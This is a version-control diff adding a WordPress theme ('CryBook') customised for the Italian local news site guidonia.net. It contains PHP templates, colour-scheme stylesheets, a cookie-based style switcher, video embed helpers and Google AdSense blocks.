+    <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+    <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+    <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/switch.js"></script>
+    
+	<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/style.css" type="text/css" media="screen"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/blue.css" type="text/css" media="screen" title="default"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/pink.css" type="text/css" media="screen" title="pink"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/green.css" type="text/css" media="screen" title="green"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/purple.css" type="text/css" media="screen" title="purple"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/red.css" type="text/css" media="screen" title="red"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/blue.css" type="text/css" media="screen" title="blue"/>
+	<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+    <?php wp_head(); ?>
+</head>
+<body>
+  
+<!--#wrapper:start-->
+	<div id="wrapper">
+    
+<!--#header:start-->
+    	<div id="header">
+        	<h1><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
+
+<!--#navigation:start-->
+            <div id="navigation">
+            	<ul>
+                	<li><a href="<?php echo get_option('home'); ?>/" class="<?php echo (is_home() ? 'current' : ''); ?>">Home</a></li>
+			<li><a href="http://www.guidonia.net/wp/?cf_action=show_mobile">Cellulare</a><li>
+                    <?php wp_list_pages('title_li='); ?>
+		    
+                </ul>
+            </div>
+<!--#navigation:end-->
+<!--#search:start-->
+            <div id="search">
+				<form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
+                <input type="text" value="<?php the_search_query(); ?>" name="s" id="s" />
+                <input type="submit" id="searchsubmit" value="<?php _e('cerca'); ?>" />
+
+                </form>
+            </div>
+<!--#search:end-->
+
+        </div>
+<!--#header:end-->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/index.php	(revision 44)
@@ -0,0 +1,77 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+<?php 	
+/* google banner 
+<div>
+<center>
+<script type="text/javascript"><!--
+google_ad_client = "pub-9331412477710099";
+
+google_ad_slot = "2568589828";
+google_ad_width = 468;
+google_ad_height = 60;
+//-->
+</script>
+<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script>
+</center>
+</div>
+<br/>
+<div class="entry"><h2>News e informazioni dal web su Guidonia</h2>
+</div>
+
+*/
+?>
+<center>
+<script type="text/javascript"><!--
+google_ad_client = "pub-9331412477710099";
+/* 468x60, creato 08/09/09 guidonia news */
+google_ad_slot = "5754872158";
+google_ad_width = 468;
+google_ad_height = 60;
+//-->
+</script>
+<script type="text/javascript"
+src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script>
+</center>
+
+	
+        <?php 
+        $delicious = get_option('crybook_delicious_uri');
+		if (have_posts()) : 
+		while (have_posts()) : the_post();
+		?>
+        <div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link a <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+		<? /*
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in  <?php the_category(',') ?> da <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                */ ?>
+                <?php the_content(__('')); ?>
+		
+  
+  
+  
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Leggi Tutto</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Precedenti') ?></div>
+                <div class="next-page"><?php previous_posts_link('Successivi') ?></div>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js	(revision 44)
@@ -0,0 +1,64 @@
+function setActiveStyleSheet(title) {
+  var i, a, main;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
+      a.disabled = true;
+      if(a.getAttribute("title") == title) a.disabled = false;
+    }
+  }
+}
+
+function getActiveStyleSheet() {
+  var i, a;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
+  }
+  return null;
+}
+
+function getPreferredStyleSheet() {
+  var i, a;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1
+       && a.getAttribute("rel").indexOf("alt") == -1
+       && a.getAttribute("title")
+       ) return a.getAttribute("title");
+  }
+  return null;
+}
+
+function createCookie(name,value,days) {
+  if (days) {
+    var date = new Date();
+    date.setTime(date.getTime()+(days*24*60*60*1000));
+    var expires = "; expires="+date.toGMTString();
+  }
+  else expires = "";
+  document.cookie = name+"="+value+expires+"; path=/";
+}
+
+function readCookie(name) {
+  var nameEQ = name + "=";
+  var ca = document.cookie.split(';');
+  for(var i=0;i < ca.length;i++) {
+    var c = ca[i];
+    while (c.charAt(0)==' ') c = c.substring(1,c.length);
+    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
+  }
+  return null;
+}
+
+window.onload = function(e) {
+  var cookie = readCookie("style");
+  var title = cookie ? cookie : getPreferredStyleSheet();
+  setActiveStyleSheet(title);
+}
+
+window.onunload = function(e) {
+  var title = getActiveStyleSheet();
+  createCookie("style", title, 365);
+}
+
+var cookie = readCookie("style");
+var title = cookie ? cookie : getPreferredStyleSheet();
+setActiveStyleSheet(title);
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/page.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+	
+	<div>
+<center>
+<script type="text/javascript"><!--
+google_ad_client = "pub-9331412477710099";
+/* 468x60, creato 23/05/09 */
+google_ad_slot = "2568589828";
+google_ad_width = 468;
+google_ad_height = 60;
+//-->
+</script>
+<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script>
+</center>
+</div>
+	
+	
+	
+	
+	
+	
+	
+        <?php if (have_posts()) : ?>
+        <?php while (have_posts()) : the_post(); ?>
+        	<div class="entry" id="post-<?php the_ID(); ?>">
+            	<h1><?php the_title(); ?></h1>
+                
+                <?php 
+				the_content(__(''));
+				wp_link_pages(array('before' => '<p><strong>Pagine:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); 
+				edit_post_link('Edit this entry.', '<p>', '</p>'); 
+				?>
+            </div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+
+</div>
+
+<!--#content:end-->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/pink.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/pink.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/pink.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #F28CB5; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #B03466; }
+a { color: #D82D6D;}
+
+#content .meta-footer ul li { background-color: #ECD0D0; }	
+#content .meta-footer ul li a:hover { background-color: #D65C8D; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #B03466; }
+
+.avatar { border: 1px solid #B03466; }
+
+#sidebar .feeds { color: #B03466; }
+	
+#content .meta-header { color: #B03466; }
+#content .entry h2 { color: #D65C8D; }
+#content .entry h2 a { color: #D65C8D; }
+#content .entry h2 a:hover { color: #D65C8D; border-bottom: 1px solid #D65C8D; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #3b5998; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/purple.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/purple.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/purple.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #b98eea; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #7c2ed3; }
+a { color: #7c2ed3;}
+
+#content .meta-footer ul li { background-color: #b17fe8; }	
+#content .meta-footer ul li a:hover { background-color: #7c2ed3; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #46671C; }
+
+#sidebar .feeds { color: #b17fe8; }
+	
+#content .meta-header { color: #b17fe8; }
+#content .entry h2 { color: #7c2ed3; }
+#content .entry h2 a { color: #7c2ed3; }
+#content .entry h2 a:hover { color: #7c2ed3; border-bottom: 1px solid #7c2ed3; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #7c2ed3; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/read me.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/read me.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/read me.txt	(revision 44)
@@ -0,0 +1,25 @@
+CREATED BY KAI LOON @ KAILOON.COM
+=================================
+
+INTRODUCTION
+============
+Thanks for choosing superfresh by Kai Loon. I hope that you can enjoy your blogging with this theme.
+
+WHAT YOU GET
+============
+1. Theme folder (crybook)
+
+
+HOW TO INSTALL
+==============
+1. Extract the zip file to your wp-content folder.
+2. Log into WordPress administration and click on "Design"
+3. Look for the "crybook" image and click on it to install / activate this theme.
+4. Go back to your blog's front page and refresh / reload it.
+
+
+SUPPORT
+=======
+1. http://www.themetation.com/forum
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/red.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/red.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/red.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #e95959; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #740f0f; }
+a { color: #740f0f;}
+
+#content .meta-footer ul li { background-color: #e95959; }	
+#content .meta-footer ul li a:hover { background-color: #740f0f; }	
+#content #comments h3 { color: #740f0f; }	
+#content #comments .meta-comment { color: #e95959; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #e95959; }
+
+#sidebar .feeds { color: #e95959; }
+	
+#content .meta-header { color: #e95959; }
+#content .entry h2 { color: #740f0f; }
+#content .entry h2 a { color: #740f0f; }
+#content .entry h2 a:hover { color: #740f0f; border-bottom: 1px solid #740f0f; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #740f0f; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/scripts.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/scripts.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/scripts.js	(revision 44)
@@ -0,0 +1,14 @@
+function showList(id) {
+	document.getElementById('list1').style.display = 'none';
+	document.getElementById('list2').style.display = 'none';
+	document.getElementById('list3').style.display = 'none';
+	document.getElementById('list'+id).style.display = 'block';
+}
+
+function showVideo(id) {
+	document.write("<object width=\"318\" height=\"251\"><param name=\"movie\" value=\"http://www.youtube.com/v/"+id+">&amp;hl=en&amp;fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/"+id+"&amp;hl=en&amp;fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"318\" height=\"251\"></embed></object>");
+}
+
+function showFlash(id) {
+	document.write("<object width=\"310\" height=\"120\"><param name=\"movie\" value=\"http://www.guidonia.net/wp/files/"+id+"\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.guidonia.net/wp/files/"+id+"\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"310\" height=\"120\"></embed></object>");
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/search.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        <?php 
+        $delicious = get_option('crybook_delicious_uri');
+		if (have_posts()) : 
+		while (have_posts()) : the_post();
+		?>
+        <div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link a <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in <?php the_category(',') ?> da <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Modifica</a>')); ?></p>
+                
+                <?php the_content(__('')); ?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Leggi Tutto</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Older Entries') ?></div>
+                <div class="next-page"><?php previous_posts_link('Newer Entries') ?></div>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/sidebar.php	(revision 44)
@@ -0,0 +1,128 @@
+		<?php
+			
+			$feed_uri = get_option('crybook_feed_uri');
+			
+			if(!$feed_uri or $feed_uri == '') :
+				$feed_uri = get_bloginfo('rss2_url');
+			else :
+				$feed_uri = 'http://feeds.feedburner.com/' . $feed_uri;
+			endif;
+			
+			$feed_email = get_option('crybook_feed_id');
+			if($feed_email or $feed_email != '') :
+				$feed_email = " or <a href='http://www.feedburner.com/fb/a/emailverifySubmit?feedId=".$feed_email."&amp;loc=en_US'>e-mail</a>";
+			endif;
+		?>
+		<div id="sidebar">
+        	<p id="switcher">
+            	<a href="/" onclick="setActiveStyleSheet('default'); return false;" id="blue" title="Blue">Blue</a>
+				<a href="/" onclick="setActiveStyleSheet('pink'); return false;" id="pink" title="Pink">Pink</a>
+				<a href="/" onclick="setActiveStyleSheet('green'); return false;" id="green" title="Green">Green</a>
+                <a href="/" onclick="setActiveStyleSheet('purple'); return false;" id="purple" title="Purple">Purple</a>
+                <a href="/" onclick="setActiveStyleSheet('red'); return false;" id="red" title="Red">Red</a>
+            </p>
+	    <div class="about box">
+	      <h3>Guidonia in foto</h3><center>
+	    <iframe src="http://www.flickr.com/search/show/?q=guidonia+OR+montecelio+-pallavolo+-sale&ct=0&mt=photos&adv=1"
+	    scrolling="no"
+	    frameborder="0"
+	    width="320"
+	    height="250">
+	    </iframe>
+	    </center>
+	    </div>
+	    
+	     <div class="about box">
+	      <h3><?php _e('Vuoi partecipare?'); ?></h3>
+	    Hai un blog o un sito? Sei di Guidonia? Vuoi che le tue notizie viaggino anche su Guidonia Punt Net?<br/> 
+	    <a href="http://www.guidonia.net/wp/?page_id=6296">Scopri come fare</a> 
+	   </div>
+	    
+	    
+	    
+            <div class="feeds"><?php echo get_option('crybook_feed_count'); ?><?php echo (get_option('crybook_feed_enable') === 'yes' ? '. ' : '');?>Puoi rimanere aggornato via <a href="?feed=rss">feed rss</a><?php echo $feed_email; ?>.</div>
+	    
+	    <?php 
+		/*	
+	    <!-- annuncio Google illustrato -->
+	    <div class="about box"><center>
+	    
+	
+	<script type="text/javascript"><!--
+	    google_ad_client = "pub-9331412477710099";
+	    
+	    google_ad_slot = "9877758942";
+	    google_ad_width = 300;
+	    google_ad_height = 250;
+	    //-->
+	    </script>
+	    <script type="text/javascript"
+	    src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+	    </script>
+
+	
+	
+	</center></div>
+	*/ 
+	?>
+	<?php
+/*
+	//require_once "wp-content/plugins/tubepress/env/standalone/tubepress-standalone.php";
+
+	get_header();
+
+	print tubepressGallery("resultsPerPage='3'");
+	
+	if (have_posts()) :
+	   while (have_posts()) :
+	      the_post();
+	      the_content();
+	   endwhile;
+	endif;
+	get_sidebar();
+	get_footer(); 
+	*/
+?>
+
+	 
+	    
+	    
+	    <? /*
+        	<div class="about box">
+            <?php query_posts('pagename=about'); ?>
+        	<?php while (have_posts()) : the_post(); ?>
+            	<h3><?php _e('About'); ?></h3>
+            	<p><?php //echo get_avatar( get_the_author_id(), '80', ''); ?> <?php echo get_option('crybook_about_site'); ?>
+		<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/scripts.js"></script>
+
+
+		 <a href="http://www.guidonia.net/wp/?page_id=6296">
+	   <center><b>GuidoniaPuntoNet: idee per il web<br/> 
+	   
+	   <script type="text/javascript">showFlash("loop.swf");</script></a><br/>
+	   Idee in cerca di finanziamenti : <a href="http://www.guidonia.net/wp/?page_id=6296">contattaci</a></b>	   
+	   </center>
+
+		</p>
+                <div class="clear"></div>
+           
+	    
+	    
+	    
+            <?php endwhile; ?>
+            </div>
+	    */
+	    ?>
+	   
+            
+			<div class="col">
+            <?php if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar-left')) : ?>
+
+			<?php endif; ?>
+            </div>
+            <div class="col2">
+            <?php if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar-right')) : ?>
+
+			<?php endif; ?>
+			</div>
+        </div>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/single.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+	
+	<?php // adsense google per ogni articolo 
+		?>
+		  <center><script type="text/javascript"><!--
+		    google_ad_client = "pub-9331412477710099";
+		      /* 468x60, creato 08/09/09 guidonia news */
+		      google_ad_slot = "5754872158";
+		      google_ad_width = 468;
+		      google_ad_height = 60;
+			//-->
+		</script>
+		 <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+		  </script></center>
+	
+	
+	
+	
+        <?php if (have_posts()) : ?>
+        <?php while (have_posts()) : the_post(); ?>
+        	<div class="entry" id="post-<?php the_ID(); ?>">
+            <?php
+            
+			if(!!get_option('crybook_aside_cat') and in_category(get_option('crybook_aside_cat'))) : ?>
+            	<p><strong><a href="<?php the_permalink() ?>"><?php echo $post->post_title; ?></a></strong> &mdash; <?php echo $post->post_content; ?> <span class="aside-date"><?php the_date(); ?></span></p>
+                <div class="meta-footer">
+                	<ul>
+                    	<?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                    <div class="clear-left"></div>
+				</div>
+                
+        	<?php else : ?>
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in  <?php the_category(',') ?> da <?php the_author() ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                <?php
+                
+				the_content(__('')); 
+				
+				?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                    <div class="clear-left"></div>
+				</div>
+			<?php endif; ?>
+                
+            </div>
+            
+            <?php comments_template(); ?>
+            
+        <?php endwhile; ?>
+        <?php else: ?>
+		<p>Sorry, nessun post con questo criterio.</p>
+        <?php endif; ?>
+        	
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/style.css	(revision 44)
@@ -0,0 +1,142 @@
+/*
+Theme Name: CryBook
+Theme URI: http://themetation.com/
+Description: A simple, no image theme. With custom Admin Panel. The theme CSSed by <a href="http://kailoon.com/">Kailoon</a> and Funtion by <a href="http://crynobone.com/">Zaki</a>.
+Date: 17th Dec 2008
+Version: 2.7
+Author: kailoon &amp; Zaki
+Author URI: http://kailoon.com/
+Tags: blue, fixed width, three columns
+*/
+@import 'wordpress.css';
+* { margin: 0; padding: 0; }
+input { border: 1px solid #1c3872; padding: 2px; }
+body { margin: 0px auto; padding: 0; font: normal 12px/18px "lucida grande",tahoma,verdana,arial,sans-serif; text-align: center; color: #434343; }
+/* HTML ======================================= */
+	p { line-height: 18px; padding: 0 0 15px 0; }
+	a { font-weight: 900; text-decoration: none; }
+	a:hover { text-decoration: underline; }
+	fieldset { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
+		fieldset label { font-size: 11px; display: block; font-weight: bold; padding: 2px 0px; text-transform: uppercase; }
+			fieldset label span { color: red; }
+			fieldset legend { font-size: 14px; font-weight: 900; padding: 0 5px; color: #000; }
+			fieldset em { display: block; font-style: normal; color: #999; padding: 5px 1px; font-size: 10px;}
+			fieldset input, fieldset select { width: 50%; border: 1px solid #ccc; padding: 3px; }
+			fieldset input#submit { width: auto; }
+			fieldset textarea { width: 95%; border: 1px solid #ccc; padding: 3px; }
+			
+/* #wrapper ======================================= */
+	#wrapper { margin: 0px auto; width: 960px; text-align: left; }
+/* #header ======================================= */
+		#header { height: 30px; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }
+			#header h1 { margin: 0; padding: 0; }
+				#header h1 a { color: #fff; font-size: 16px; font-weight: 400; text-decoration: none; padding: 4px 30px 0px 14px; float: left; }
+/* #navigation ======================================= */
+			#navigation ul { display: block; list-style: none; margin: 4px 0 0; padding: 0; float: left; font-weight: 900; }
+				#navigation ul li { display: block; float: left; padding: 0; margin: 0; font-size: 11px; }
+					#navigation ul li a { display: block; padding: 1px 8px 2px; color: #fff; text-decoration: none; }
+					#navigation ul li a.current, #navigation ul li.current_page_item a { -moz-border-radius: 3px; }
+					#navigation ul li a:hover { color: #fff; text-decoration: underline; }
+					
+			#search { float: right; width: 200px; padding-top: 3px; }
+				#search input { width: 130px; }
+				#search input#searchsubmit { padding: 2px; font-size: 10px; width: 40px;}
+				
+
+/* #content ======================================= */		
+		#content { margin: 10px 0 0 0; float: left; width: 600px; }
+			#content .entry { padding: 10px 0 0; clear: left; border-bottom: 1px solid #d3dae8; margin-bottom: 20px; }
+				#content .entry h2 { letter-spacing: -1px; font: 24px Helvetica,Arial,sans-serif; margin: 1px; padding: 0; font-weight: 400; }
+					#content .entry h2 a { color: #1e3b78; text-decoration: none; border-bottom: 1px solid #fff; font-weight: 400; }
+				#content .entry h3 { font: 400 18px Arial, Helvetica, sans-serif; font-style: italic; }
+				#content .entry pre { overflow: auto; width: 590px; padding:10px 3px; }
+				#content .entry ul { list-style: circle; margin: 4px 0 0 15px; padding: 18px; }
+				#content .entry ol { list-style: decimal; margin: 4px 0 0 15px; padding: 18px; }
+					#content .entry ul li { padding: 1px 0; }
+					#content .entry ol li { padding: 1px 0; }
+					#content .entry ul ul { list-style: square; margin: 1px 0 0 20px; padding: 0; }
+					#content .entry ol ol { list-style: lower-roman; margin: 1px 0 0 20px; padding: 0; }
+				#content .meta-header { font-size: 11px; }
+
+				#content .meta-footer { margin: 15px 0 0; }
+					#content .meta-footer ul { font-size: 10px; display: block; list-style: none; margin: 0; padding: 0;  }
+						#content .meta-footer ul li { float: left; padding: 0; margin: 0 2px 0 0; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }
+							#content .meta-footer ul li a { display: block; padding: 2px 7px; color: #fff; text-decoration: none; }
+							#content .meta-footer ul li a:hover { color: #fff; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }		
+
+		#content #comments { clear: left; padding-top: 10px; }
+			#content #comments h3 { font: 500 16px tahoma; margin: 1px; padding: 0; }
+			#content #comments .meta-comment { font-size: 11px; margin-bottom: 10px; }
+				#content #comments .meta-comment a { text-decoration: none; }
+			#content #comments .commentlist { list-style: none; margin: 0; padding: 0; }
+				#content #comments .commentlist li { background: #F7F7F7; border-bottom: 1px solid #ddd; padding: 10px; }
+				#content #comments .commentlist li.alt { background-color: #fff; }
+		#content #respond { clear: left; margin-top: 30px; padding: 15px; }
+			#content #respond h3 { font: bold 16px tahoma; margin: 1px; padding: 5px; border: 1px solid #ccc; background-color: #fff;}
+		#content #respond input, #content #respond textarea { border: 1px solid #ccc; padding: 4px; }
+		#content #respond div { padding: 5px 0; }
+		.cp { font: 400 9px/16px Arial, Helvetica, sans-serif; text-transform: uppercase; }	
+		label { text-transform: uppercase; font-weight: 900; }	
+		#content .tutorials { background: #f9f9f9; border: 1px solid #d6d3ca; margin: 5px 1px 10px; padding: 10px; text-align: center; }
+			#content .tutorials a, #content .tutorials a:link { text-decoration: none; width: 174px;  margin:0px 3px; text-align: center; }
+			#content .tutorials a img { border: 0; }
+			
+		#content ul.delicious { padding: 5px 0; }
+			#content .delicious-tags { font-size: 11px; }
+			
+		#content .pagination { clear: left; padding: 20px 0 5px; }
+			#content .pagination a { text-decoration: none; }
+			#content .pagination .prev-page { float: left; }
+			#content .pagination .next-page { float: right; }
+		#content .portfolio { clear: left; margin: 10px 0px 8px; }
+			#content .portfolio img.portfolio-image { float: left; width: 211px; height: 160px; }
+			#content .portfolio .portfolio-detail { float: right; width: 370px; }
+				#content .portfolio .portfolio-detail h4 { margin: 1px 0; padding: 0; font-size: 14px; }
+					#content .portfolio .portfolio-detail h4 a, #content .portfolio .portfolio-detail h3 a:link { text-decoration: none; }
+				#content .portfolio .portfolio-detail strong { display: block; color: #3b5999; margin: 7px 0px 3px; }
+				#content .portfolio .portfolio-detail span { display: block; font-size: 11px; }
+/* #sidebar ======================================= */
+		.box { background-color: #f7f7f7; border: 1px solid #e0e0e0; -moz-border-radius: 4px; margin-bottom: 15px; }
+		#sidebar { margin: 10px 0 0 20px; float: left; width: 340px; }
+			#sidebar h3 { text-transform: uppercase; font: 900 11px Tahoma, Arial, Helvetica, sans-serif; padding: 5px 10px; background-color: #e0e0e0; float: left; width: 318px; }
+			#sidebar .about p { padding: 10px; font-size: 11px; clear: left; }
+				.avatar { display: inline; float: left; margin: 0 10px 0 0; padding: 3px; background-color: #fff; }
+
+			#sidebar .feeds { padding: 0 0 10px; clear: left; margin-top: -5px; }
+
+			#sidebar .col { float: left; width: 165px; margin-right: 5px; display: inline; }
+			#sidebar .col2 { float: left; width: 165px; margin-left: 5px; display: inline;}
+			#sidebar .col a, #sidebar .col2 a { font-weight: 400; }
+					#sidebar .col ul, #sidebar .col2 ul { list-style: none; padding: 0; text-align: center; }
+					div#calendar_wrap, div.textwidget, ul#recentcomments { padding: 10px; text-align: left; }
+					div#calendar_wrap table { width: 100%; }
+					iv#calendar_wrap table a { font-weight: 900; }
+						#sidebar .col ul#recentcomments li, #sidebar .col2 ul#recentcomments li { width: 149px; padding: 5px 7px; line-height: 14px; border-bottom: 1px solid #ccc; }
+						#sidebar .col ul#recentcomments li a, #sidebar .col2 ul#recentcomments li a { font-weight: 900; }
+						#sidebar .col ul#recentcomments li a:hover, #sidebar .col2 ul#recentcomments li a:hover { background-color: #fff; }
+						#sidebar .col h3, #sidebar .col2 h3 { float: left; width: 143px; }
+						#sidebar .col ul li, #sidebar .col2 ul li { width: 163px; text-align: left; font-size: 11px; }
+						#sidebar .col ul ul, #sidebar .col2 ul ul { padding: 0; }
+						#sidebar .col ul li a, #sidebar .col2 ul li a { display: block; padding: 2px 10px; }
+						#sidebar .col ul li a:hover, #sidebar .col2 ul li a:hover { background-color: #f1f1f1; }
+/* #footer ======================================= */
+		#footer { margin-top: 20px; padding: 0 0 10px; font-size: 11px; clear: both; text-align:center; float: left; width: 100%; background-color: #e5e5e5; border-top: 1px solid #b5b5b5; }
+		#footer p { padding: 5px 0 0 0; border-top: 1px solid #fcfcfc; }
